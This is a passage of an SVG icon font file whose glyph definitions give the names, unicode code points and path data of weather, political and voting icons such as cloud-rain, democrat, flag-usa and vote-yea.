l-90.5098 90.5098c-24.9902 24.9902 -24.9902 65.5205 0 90.5098l158.38 158.381c37.9697 37.96 93.79 46.9297 140.37 27.2295l76.6699 76.6699c-6.25 6.25 -6.25 16.3799 0 22.6299l22.6299 22.6299c6.25 6.25 16.3799 6.25 22.6299 0zM179.22 24.71l122.04 122.04
l-90.5098 90.5098l-122.04 -122.04z" />
    <glyph glyph-name="cloud-meatball" unicode="&#xf73b;" 
d="M48 96c26.5 0 48 -21.5 48 -48s-21.5 -48 -48 -48s-48 21.5 -48 48s21.5 48 48 48zM464 96c26.5 0 48 -21.5 48 -48s-21.5 -48 -48 -48s-48 21.5 -48 48s21.5 48 48 48zM345 84.9004c13.5 -7 23 -20.7002 23 -36.9004s-9.5 -29.9004 -23 -36.9004
c4.59961 -14.5 1.7002 -30.7998 -9.7998 -42.2998c-8.2002 -8.2002 -18.9004 -12.2998 -29.7002 -12.2998c-4.2998 0 -8.5 1.2002 -12.5996 2.5c-7 -13.5 -20.7002 -23 -36.9004 -23s-29.9004 9.5 -36.9004 23c-4.09961 -1.40039 -8.2998 -2.5 -12.5996 -2.5
c-10.7998 0 -21.5 4.09961 -29.7002 12.2998c-11.5 11.5 -14.5 27.7998 -9.89941 42.2998c-13.5 7 -23 20.7002 -23 36.9004s9.5 29.9004 23 36.9004c-4.5 14.5 -1.60059 30.7998 9.89941 42.2998s27.7998 14.5 42.2998 9.89941c7 13.5 20.7002 23 36.9004 23
s29.9004 -9.5 36.9004 -23c14.5 4.5 30.7998 1.60059 42.2998 -9.89941c11.3994 -11.5 14.3994 -27.7998 9.7998 -42.2998zM512 224c0 -53 -43 -96 -96 -96h-43.4004c-3.5 8 -8.39941 15.4004 -14.7998 21.7998c-13.5 13.5 -31.5 21.1006 -50.7998 21.2998
c-13.5 13.2002 -31.7002 20.9004 -51 20.9004s-37.5 -7.7002 -51 -20.9004c-19.2998 -0.199219 -37.2998 -7.7998 -50.7998 -21.2998c-6.40039 -6.39941 -11.2002 -13.7998 -14.7998 -21.7998h-43.4004c-53 0 -96 43 -96 96c0 42.5 27.7998 78.2002 66.0996 90.7998
c-1.2998 6.90039 -2.09961 13.9004 -2.09961 21.2002c0 61.9004 50.0996 112 112 112c43.2998 0 80.4004 -24.7998 99 -60.7998c14.7002 17.5 36.4004 28.7998 61 28.7998c44.2002 0 80 -35.7998 80 -80c0 -5.59961 -0.5 -11 -1.59961 -16.2002
c0.5 0 1 0.200195 1.59961 0.200195c53 0 96 -43 96 -96z" />
    <glyph glyph-name="cloud-moon-rain" unicode="&#xf73c;" horiz-adv-x="576" 
d="M350.5 222.5c37.2998 -6.7998 65.5 -39.2998 65.5 -78.5c0 -44.2002 -35.7998 -80 -80 -80h-256c-44.2002 0 -80 35.7998 -80 80c0 38.7998 27.5996 71.0996 64.2002 78.4004c0 0.5 -0.200195 1.09961 -0.200195 1.59961c0 53 43 96 96 96
c32.0996 0 60.2998 -15.9004 77.7002 -40c10.3994 5 22 8 34.2998 8c39.2002 0 71.5996 -28.2998 78.5 -65.5zM567.9 224.2c6.19922 1.2002 10.5996 -6 6.39941 -10.7998c-27 -33.1006 -67.8994 -53.3008 -112.6 -53.3008c-5.2002 0 -10.1006 1 -15.2002 1.5
c-6.2002 39.4004 -33.0996 72.5 -70.2002 86.8008c-10.7002 27.8994 -32.2002 49.7998 -58.8994 61.6992c3.2998 76.7002 66.5 137.9 144.399 137.9c8.90039 0 17.7998 -0.799805 26.5 -2.40039c6.2002 -1.09961 7.60059 -9.39941 2.10059 -12.5
c-35.6006 -20.0996 -57.5 -57.5 -57.5 -98.0996c0 -70.5 64.5996 -124.1 135 -110.8zM364.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961
c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM268.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961
c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM172.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64
c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM76.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008
l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6z" />
    <glyph glyph-name="cloud-rain" unicode="&#xf73d;" 
d="M416 320c53 0 96 -43 96 -96s-43 -96 -96 -96h-320c-53 0 -96 43 -96 96c0 42.5 27.7998 78.2002 66.0996 90.7998c-1.2998 6.90039 -2.09961 13.9004 -2.09961 21.2002c0 61.9004 50.0996 112 112 112c43.2998 0 80.4004 -24.7998 99 -60.7998
c14.7002 17.5 36.4004 28.7998 61 28.7998c44.2002 0 80 -35.7998 80 -80c0 -5.59961 -0.5 -11 -1.59961 -16.2002c0.5 0 1 0.200195 1.59961 0.200195zM88 73.7998c2.5 8.5 13.7998 8.10059 16 0c12.7998 -44.5996 40 -56.2998 40 -87.7002
c0 -27.6992 -21.5 -50.0996 -48 -50.0996s-48 22.4004 -48 50.0996c0 31.3008 27.2002 43.3008 40 87.7002zM248 73.7998c2.5 8.5 13.7998 8.10059 16 0c12.7998 -44.5996 40 -56.2998 40 -87.7002c0 -27.6992 -21.5 -50.0996 -48 -50.0996s-48 22.4004 -48 50.0996
c0 31.3008 27.2002 43.3008 40 87.7002zM408 73.7998c2.5 8.5 13.7998 8.10059 16 0c12.7998 -44.5996 40 -56.2998 40 -87.7002c0 -27.6992 -21.5 -50.0996 -48 -50.0996s-48 22.4004 -48 50.0996c0 31.3008 27.2002 43.3008 40 87.7002z" />
    <glyph glyph-name="cloud-showers-heavy" unicode="&#xf740;" 
d="M183.9 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008l64 112
c4.40039 7.7998 14.2002 10.3994 21.8008 6zM279.9 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008
l64 112c4.40039 7.7998 14.2002 10.3994 21.8008 6zM87.9004 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961
c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008l64 112c4.40039 7.7998 14.2002 10.3994 21.8008 6zM471.9 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961
c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008l64 112c4.40039 7.7998 14.2002 10.3994 21.8008 6zM375.9 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112
c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008l64 112c4.40039 7.7998 14.2002 10.3994 21.8008 6zM416 320c53 0 96 -43 96 -96s-43 -96 -96 -96h-320
c-53 0 -96 43 -96 96c0 42.5 27.7998 78.2002 66.0996 90.7998c-1.2998 6.90039 -2.09961 13.9004 -2.09961 21.2002c0 61.9004 50.2002 112 112 112c43.2998 0 80.4004 -24.7998 99 -60.7998c14.7002 17.5 36.4004 28.7998 61 28.7998c44.2002 0 80 -35.7998 80 -80
c0 -5.59961 -0.5 -11 -1.59961 -16.2002c0.5 0 1 0.200195 1.59961 0.200195z" />
    <glyph glyph-name="cloud-sun-rain" unicode="&#xf743;" horiz-adv-x="576" 
d="M510.5 222.5c37.2998 -6.7998 65.5 -39.2998 65.5 -78.5c0 -44.2002 -35.7998 -80 -80 -80h-256c-44.2002 0 -80 35.7998 -80 80c0 38.7998 27.5996 71 64.2002 78.4004c0 0.5 -0.200195 1.09961 -0.200195 1.59961c0 53 43 96 96 96
c32.0996 0 60.2998 -15.9004 77.7002 -40c10.3994 5 22 8 34.2998 8c39.2002 0 71.5996 -28.2998 78.5 -65.5zM124.1 188.1c3.10059 -3.09961 6.60059 -5.59961 10.2002 -8.2998c-3.89941 -11.3994 -6.2002 -23.3994 -6.2002 -35.8994c0 -2.5 0.5 -4.80078 0.700195 -7.2002
l-59.2002 -19.7002c-10.1992 -3.2998 -19.8994 6.2998 -16.5 16.5l25.1006 75.2998l-71 35.5c-9.60059 4.7998 -9.60059 18.5 0 23.2998l71 35.5l-25.1006 75.3008c-3.39941 10.1992 6.2002 19.8994 16.4004 16.5l75.2998 -25.1006l35.5 71
c4.7998 9.60059 18.5 9.60059 23.2998 0l35.5 -71l75.3008 25.1006c10.1992 3.39941 19.8994 -6.2002 16.5 -16.4004l-8.90039 -26.7002c-0.700195 0 -1.2998 0.200195 -2 0.200195c-25.5996 0 -49.2002 -7.7998 -69.2002 -20.7002
c-37.5996 29.4004 -92.0996 27.2002 -126.7 -7.39941c-37.3994 -37.5 -37.3994 -98.4004 0 -135.801zM193.9 246.1c-18.2002 -8.2998 -33.5 -21.2998 -44.8008 -37.1992c-12.8994 11.6992 -21.0996 28.3994 -21.0996 47.0996c0 35.2998 28.7002 64 64 64
c12.4004 0 24 -3.7002 33.7998 -9.90039c-16.0996 -17.5996 -27.5996 -39.5 -31.8994 -64zM524.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961
c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM428.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961
c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM332.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64
c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM236.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008
l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6z" />
    <glyph glyph-name="democrat" unicode="&#xf747;" horiz-adv-x="640" 
d="M637.3 191.1c4.90039 -7.39941 2.90039 -17.2998 -4.39941 -22.2998l-26.6006 -17.7002c-7.39941 -4.89941 -17.2998 -3 -22.2002 4.40039c-21.7998 32.7002 -23.8994 38.0996 -40.0996 50.2998v-77.7998h-352l-54 108l-38.0996 -34.5996
c-6 -6 -14.1006 -9.40039 -22.6006 -9.40039h-31c-12.0996 0 -23.2002 6.90039 -28.5996 17.7002l-14.2998 28.5996c-5.40039 10.7998 -4.30078 23.7998 3 33.5l74.5996 99.2998c1.7002 2.30078 4.2002 3.7002 6.40039 5.40039c-4 2.2002 -8 4.2002 -11.3008 7.5
c-16.3994 16.4004 -18.3994 41.7998 -6.09961 60.4004c2.7998 4.19922 8.7998 4.7998 12.4004 1.19922l42.8994 -42.7998l41.7998 41.7998c4.40039 4.40039 11.8008 3.7002 15.2002 -1.5c15.1006 -22.7998 12.6006 -53.7998 -7.5 -73.8994l81.2002 -81.2002h235.6
c50.8008 0 97.9004 -25.2002 126.101 -67.5zM296.2 204.7c3 2.89941 1.39941 7.89941 -2.60059 8.5l-22.7998 3.2998l-10.2002 20.7002c-1.89941 3.7002 -7.19922 3.7002 -9 0l-10.1992 -20.7002l-22.8008 -3.2998c-4.09961 -0.600586 -5.7998 -5.60059 -2.7998 -8.5
l16.5 -16.1006l-3.89941 -22.6992c-0.700195 -4.10059 3.59961 -7.2002 7.19922 -5.30078l20.4004 10.7002l20.4004 -10.7002c3.59961 -1.89941 7.89941 1.2002 7.19922 5.30078l-3.89941 22.6992zM408.2 204.7c3 2.89941 1.39941 7.89941 -2.60059 8.5l-22.7998 3.2998
l-10.2002 20.7002c-1.89941 3.7002 -7.19922 3.7002 -9 0l-10.1992 -20.7002l-22.8008 -3.2998c-4.09961 -0.600586 -5.7998 -5.60059 -2.7998 -8.5l16.5 -16.1006l-3.89941 -22.6992c-0.700195 -4.10059 3.59961 -7.2002 7.19922 -5.30078l20.4004 10.7002
l20.4004 -10.7002c3.59961 -1.89941 7.89941 1.2002 7.19922 5.30078l-3.89941 22.6992zM520.2 204.7c3 2.89941 1.39941 7.89941 -2.60059 8.5l-22.7998 3.2998l-10.2002 20.7002c-1.89941 3.7002 -7.19922 3.7002 -9 0l-10.1992 -20.7002l-22.8008 -3.2998
c-4.09961 -0.600586 -5.7998 -5.60059 -2.7998 -8.5l16.5 -16.1006l-3.89941 -22.6992c-0.700195 -4.10059 3.59961 -7.2002 7.19922 -5.30078l20.4004 10.7002l20.4004 -10.7002c3.59961 -1.89941 7.89941 1.2002 7.19922 5.30078l-3.89941 22.6992zM192 -48v144h352v-144
c0 -8.7998 -7.2002 -16 -16 -16h-64c-8.7998 0 -16 7.2002 -16 16v80h-160v-80c0 -8.7998 -7.2002 -16 -16 -16h-64c-8.7998 0 -16 7.2002 -16 16z" />
    <glyph glyph-name="flag-usa" unicode="&#xf74d;" 
d="M32 448c17.7002 0 32 -14.2998 32 -32v-464c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v464c0 17.7002 14.2998 32 32 32zM299.9 144.4c31.0996 -8.2002 62.5996 -16.5 100 -16.6006c31.8994 0 68.5 6.7998 112.1 24.1006v-36
c0 -12.3008 -7.09961 -23.8008 -18.5 -28.8008c-175.8 -76.3994 -211.8 69.1006 -397.5 -23.0996v69.2998c92.2002 39.9004 146.7 26.2002 203.9 11.1006zM299.9 240.4c31.0996 -8.2002 62.5996 -16.5 100 -16.5c31.8994 0 68.5 6.7998 112.1 24.0996v-61.5
c-92.2002 -39.9004 -146.7 -26.2002 -203.9 -11.0996c-57.5 15.0996 -117.3 30 -212.1 -7.60059v61.5c92.2002 39.9004 146.7 26.2002 203.9 11.1006zM309.4 366.3c-7 2.10059 -14.1006 4.2002 -21.3008 6.2002v-33.2002c4 -1.09961 8.10059 -2.2998 12.1006 -3.5
c26.7002 -8.09961 52.8994 -15.8994 85.7002 -15.8994c32.7998 0 72.5 7.89941 126.1 31.3994v-68.8994c-92.2002 -39.8008 -146.7 -26.1006 -203.9 -11.1006c-57.5 15.1006 -117.3 29.9004 -212.1 -7.59961v151.899c209.4 94.6006 195.3 -59.0996 366.6 28.2002
c22.6006 11.5 49.4004 -1.5 49.4004 -26.5996v-30.7998c-105.2 -49.1006 -150.8 -35.7002 -202.6 -20.1006zM160 319.9c8.7998 0 16 7.09961 16 16c0 8.89941 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.90039 7.2002 -16 16 -16zM160 375.7c8.7998 0 16 7.2002 16 16
c0 8.89941 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.90039 7.2002 -16 16 -16zM224 327.8c8.7998 0 16 7.2002 16 16c0 8.90039 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.89941 7.2002 -16 16 -16zM224 383.7c8.7998 0 16 7.2002 16 16c0 8.89941 -7.2002 16 -16 16
s-16 -7.2002 -16 -16c0 -8.90039 7.2002 -16 16 -16z" />
    <glyph glyph-name="meteor" unicode="&#xf753;" 
d="M491.2 447.3c12.3994 3.7002 23.7998 -7.7002 20.2002 -20.0996c-11.6006 -38.7002 -34.3008 -111.7 -61.3008 -187.7c7 -2.09961 13.4004 -4 18.6006 -5.59961c9.7002 -3 14.2002 -13.9004 9.5 -22.9004c-22.1006 -42.2998 -82.7002 -152.8 -142.5 -214.4
c-1 -1.09961 -2 -2.5 -3 -3.5c-38.1006 -38.0996 -88 -57.0996 -137.9 -57.0996c-49.8994 -0.0996094 -99.7998 19 -137.8 57c-38 38.0996 -57 88 -57 137.8c0 49.9004 19 99.7998 57.0996 137.8c1 1 2.40039 2 3.5 3c61.6006 59.9004 172 120.4 214.4 142.5
c9 4.7002 19.9004 0.200195 22.9004 -9.5c1.59961 -5.09961 3.5 -11.5996 5.59961 -18.5996c75.9004 27 149 49.7002 187.7 61.2998zM192 0c70.7002 0 128 57.2998 128 128s-57.2998 128 -128 128s-128 -57.2998 -128 -128s57.2998 -128 128 -128zM160 192
c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM208 96c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16s-16 7.2002 -16 16s7.2002 16 16 16z" />
    <glyph glyph-name="person-booth" unicode="&#xf756;" horiz-adv-x="576" 
d="M192 -48v176h64v-176c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16zM224 224c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32h-57.5c-12.7998 0 -24.7998 5 -33.9004 14.0996l-20.8994 20.9004v-80.5996l41.2002 -61.3008
c4.39941 -8.7998 6.69922 -18.6992 6.69922 -28.5996v-56.5c0 -17.7002 -14.2998 -32 -32 -32c-17.6992 0 -32 14.2998 -32 32v56l-29.0996 43c-0.900391 0.400391 -1.59961 1.2002 -2.5 1.7002l-0.0996094 -100.7c0 -17.7002 -14.4004 -32 -32 -32
c-17.6006 0 -31.9004 14.2998 -31.9004 32l0.200195 160l-0.200195 95.9004c0 17.0996 6.7002 33.1992 18.7002 45.2998c12.0996 12.0996 28.2002 18.7998 45.2998 18.7998h18.7002c17 0 33.0996 -6.59961 45.2002 -18.7002l45.1992 -45.2998h50.9004zM64 320
c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM288 416v32h192v-416c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32c0 -17.7002 -14.2998 -32 -32 -32c-17.0996 0 -30.7998 13.5 -31.7002 30.4004
c-4.2998 -21.3008 -17.0996 -30.4004 -32.2998 -30.4004c-18.4004 0 -35.7002 16.7002 -31.4004 38.2998l30.9004 154.601zM192 416c0 17.7002 14.2998 32 32 32h32v-192h-64v160zM544 448c17.7002 0 32 -14.2998 32 -32v-464c0 -8.7998 -7.2002 -16 -16 -16h-32
c-8.7998 0 -16 7.2002 -16 16v496h32z" />
    <glyph glyph-name="poo-storm" unicode="&#xf75a;" horiz-adv-x="448" 
d="M308 112c9.2002 0 15 -10 10.4004 -18l-88 -152c-2.2002 -3.7998 -6.2002 -6 -10.4004 -6c-7.7002 0 -13.5 7.2002 -11.7002 14.7998l23 97.2002h-59.2998c-7.2998 0 -12.9004 6.40039 -11.9004 13.5996l16 120c0.800781 5.90039 5.90039 10.4004 11.9004 10.4004h68
c7.90039 0 13.5996 -7.5 11.5996 -15.0996l-17.2998 -64.9004h57.7002zM374.4 223.3c41 -3.2998 73.5996 -37.5 73.5 -79.2998c0 -44 -36 -80 -80 -80h-30l8.09961 14c7.7998 13.5 7.7998 30.4004 0 44s-22.4004 22 -38.0996 22h-16l6.59961 24.7002
c3.59961 13.2998 0.799805 27.2002 -7.59961 38.0996c-8.40039 10.9004 -21.1006 17.2002 -34.9004 17.2002h-68c-22 0 -40.7002 -16.4004 -43.7002 -38.2002l-16 -120c0 -0.599609 0.100586 -1.2002 0 -1.7998h-48.2998c-44 0 -80 36 -80 80
c0 41.7998 32.5996 76 73.5996 79.2998c-5.89941 9.60059 -9.59961 20.6006 -9.59961 32.7002c0 35.2998 28.7002 64 64 64h16c44.2002 0 80 35.7998 80 80c0 17.4004 -5.7002 33.4004 -15.0996 46.5c4.89941 0.799805 9.89941 1.5 15.0996 1.5c53 0 96 -43 96 -96
c0 -11.2998 -2.2998 -21.9004 -5.90039 -32h5.90039c35.2998 0 64 -28.7002 64 -64c0 -12.0996 -3.7002 -23.0996 -9.59961 -32.7002z" />
    <glyph glyph-name="rainbow" unicode="&#xf75b;" horiz-adv-x="576" 
d="M268.3 415.3c167.7 11.2998 307.7 -122 307.7 -287.3v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v136.2c0 113.8 -81.5996 215.399 -194.5 229.899c-136.6 17.6006 -253.5 -88.8994 -253.5 -222.1v-144c0 -8.7998 -7.2002 -16 -16 -16h-32
c-8.7998 0 -16 7.2002 -16 16v133.8c0 153.3 115.4 287.3 268.3 297.5zM262.7 318.4c117.1 15 217.3 -76.2002 217.3 -190.4v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v138.3c0 66.9004 -48.7002 126.601 -115.2 133.101
c-76.2998 7.39941 -140.8 -52.6006 -140.8 -127.4v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v137.3c0 97.6006 70 184.7 166.7 197.101zM268.9 222.1c61.2998 11.9004 115.1 -34.8994 115.1 -94.0996v-144c0 -8.7998 -7.2002 -16 -16 -16h-32
c-8.7998 0 -16 7.2002 -16 16v144c0 17.5996 -14.2998 32 -32 32s-32 -14.4004 -32 -32v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v140.2c0 46.3994 31.2998 89 76.9004 97.8994z" />
    <glyph glyph-name="republican" unicode="&#xf75e;" horiz-adv-x="640" 
d="M544 256v-64h-544v64c0 88.4004 71.5996 160 160 160h224c88.4004 0 160 -71.5996 160 -160zM176.3 277.6c3.5 3.5 1.60059 9.5 -3.39941 10.2002l-27.4004 4l-12.2002 24.7998c-2.09961 4.40039 -8.5 4.5 -10.7002 0l-12.1992 -24.7998l-27.4004 -4
c-4.90039 -0.700195 -6.90039 -6.7002 -3.2998 -10.2002l19.7998 -19.2998l-4.7002 -27.2998c-0.799805 -4.90039 4.40039 -8.59961 8.7002 -6.2998l24.5 12.8994l24.5 -12.8994c4.40039 -2.2998 9.5 1.39941 8.7002 6.2998l-4.7002 27.2998zM320.3 277.6
c3.5 3.5 1.60059 9.5 -3.39941 10.2002l-27.4004 4l-12.2002 24.7998c-2.09961 4.40039 -8.5 4.5 -10.7002 0l-12.1992 -24.7998l-27.4004 -4c-4.90039 -0.700195 -6.90039 -6.7002 -3.2998 -10.2002l19.7998 -19.2998l-4.7002 -27.2998
c-0.799805 -4.90039 4.40039 -8.59961 8.7002 -6.2998l24.5 12.8994l24.5 -12.8994c4.40039 -2.2998 9.5 1.39941 8.7002 6.2998l-4.7002 27.2998zM464.3 277.6c3.5 3.5 1.60059 9.5 -3.39941 10.2002l-27.4004 4l-12.2002 24.7998c-2.09961 4.40039 -8.5 4.5 -10.7002 0
l-12.1992 -24.7998l-27.4004 -4c-4.90039 -0.700195 -6.90039 -6.7002 -3.2998 -10.2002l19.7998 -19.2998l-4.7002 -27.2998c-0.799805 -4.90039 4.40039 -8.59961 8.7002 -6.2998l24.5 12.8994l24.5 -12.8994c4.40039 -2.2998 9.5 1.39941 8.7002 6.2998l-4.7002 27.2998z
M624 128c8.7998 0 16 -7.2002 16 -16v-64c0 -46.9004 -40.5996 -84.5 -88.4004 -79.5996c-41.5996 4.19922 -71.5996 42.5 -71.5996 84.2998v43.2998h-32v-112c0 -8.7998 -7.2002 -16 -16 -16h-96c-8.7998 0 -16 7.2002 -16 16v80h-192v-80c0 -8.7998 -7.2002 -16 -16 -16
h-96c-8.7998 0 -16 7.2002 -16 16v176h544v-112c0 -8.7998 7.2002 -16 16 -16s16 7.2002 16 16v64c0 8.7998 7.2002 16 16 16h32z" />
    <glyph glyph-name="smog" unicode="&#xf75f;" horiz-adv-x="640" 
d="M624 80c8.7998 0 16 -7.2002 16 -16v-16c0 -8.7998 -7.2002 -16 -16 -16h-544c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h544zM144 -16c8.7998 0 16 -7.2002 16 -16v-16c0 -8.7998 -7.2002 -16 -16 -16h-128c-8.7998 0 -16 7.2002 -16 16v16
c0 8.7998 7.2002 16 16 16h128zM560 -16c8.7998 0 16 -7.2002 16 -16v-16c0 -8.7998 -7.2002 -16 -16 -16h-336c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h336zM144 160c-79.5 0 -144 64.5 -144 144s64.5 144 144 144c41 0 77.7998 -17.2998 104 -44.7998
c26.2002 27.5 63 44.7998 104 44.7998c54.7998 0 102 -31 126.3 -76.0996c15 7.5 31.7002 12.0996 49.7002 12.0996c61.9004 0 112 -50.0996 112 -112s-50.0996 -112 -112 -112h-60.0996c-22.6006 -19.7002 -51.6006 -32 -83.9004 -32s-61.4004 12.2998 -83.9004 32h-156.1z
" />
    <glyph glyph-name="temperature-high" unicode="&#xf769;" 
d="M416 448c52.9004 0 96 -43.0996 96 -96s-43.0996 -96 -96 -96s-96 43.0996 -96 96s43.0996 96 96 96zM416 320c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM256 336v-166.5c19.7002 -24.5996 32 -55.5 32 -89.5
c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144c0 34 12.2998 64.7998 32 89.5v166.5c0 61.9004 50.0996 112 112 112s112 -50.0996 112 -112zM144 0c44.0996 0 80 35.9004 80 80c0 25.5 -12.2002 49 -32 63.7998v192.2c0 26.5 -21.5 48 -48 48s-48 -21.5 -48 -48v-192.2
c-19.7998 -14.8994 -32 -38.2998 -32 -63.7998c0 -44.0996 35.9004 -80 80 -80zM160 125.1c18.5996 -6.59961 32 -24.1992 32 -45.0996c0 -26.5 -21.5 -48 -48 -48s-48 21.5 -48 48c0 20.9004 13.4004 38.5 32 45.0996v210.9c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16
v-210.9z" />
    <glyph glyph-name="temperature-low" unicode="&#xf76b;" 
d="M416 448c52.9004 0 96 -43.0996 96 -96s-43.0996 -96 -96 -96s-96 43.0996 -96 96s43.0996 96 96 96zM416 320c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM256 336v-166.5c19.7002 -24.5996 32 -55.5 32 -89.5
c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144c0 34 12.2998 64.7998 32 89.5v166.5c0 61.9004 50.0996 112 112 112s112 -50.0996 112 -112zM144 0c44.0996 0 80 35.9004 80 80c0 25.5 -12.2002 49 -32 63.7998v192.2c0 26.5 -21.5 48 -48 48s-48 -21.5 -48 -48v-192.2
c-19.7998 -14.8994 -32 -38.2998 -32 -63.7998c0 -44.0996 35.9004 -80 80 -80zM160 125.1c18.5996 -6.59961 32 -24.1992 32 -45.0996c0 -26.5 -21.5 -48 -48 -48s-48 21.5 -48 48c0 20.9004 13.4004 38.5 32 45.0996v18.9004c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16
v-18.9004z" />
    <glyph glyph-name="vote-yea" unicode="&#xf772;" horiz-adv-x="640" 
d="M608 128c17.7002 0 32 -14.2998 32 -32v-96c0 -17.7002 -14.2998 -32 -32 -32h-576c-17.7002 0 -32 14.2998 -32 32v96c0 17.7002 14.2998 32 32 32h64v-64h-22.4004c-5.2998 0 -9.59961 -3.59961 -9.59961 -8v-16c0 -4.40039 4.2998 -8 9.59961 -8h492.801
c5.2998 0 9.59961 3.59961 9.59961 8v16c0 4.40039 -4.2998 8 -9.59961 8h-22.4004v64h64zM512 64h-384v319.7c0 17.7998 14.5 32.2998 32.4004 32.2998h319.3c17.7998 0 32.2998 -14.4004 32.2998 -32.2998v-319.7zM211.2 246c-4.2002 -4.2002 -4.2998 -11 0 -15.2002
l74.0996 -74.7002c4.2002 -4.2998 11 -4.2998 15.2002 -0.0996094l128.3 127.2c4.2998 4.2002 4.2998 11 0.100586 15.2002l-25.3008 25.5c-4.19922 4.2998 -11 4.2998 -15.1992 0.0996094l-95.2002 -94.4004l-41.2998 41.6006
c-4.2002 4.2998 -11 4.2998 -15.2002 0.0996094z" />
    <glyph glyph-name="water" unicode="&#xf773;" horiz-adv-x="576" 
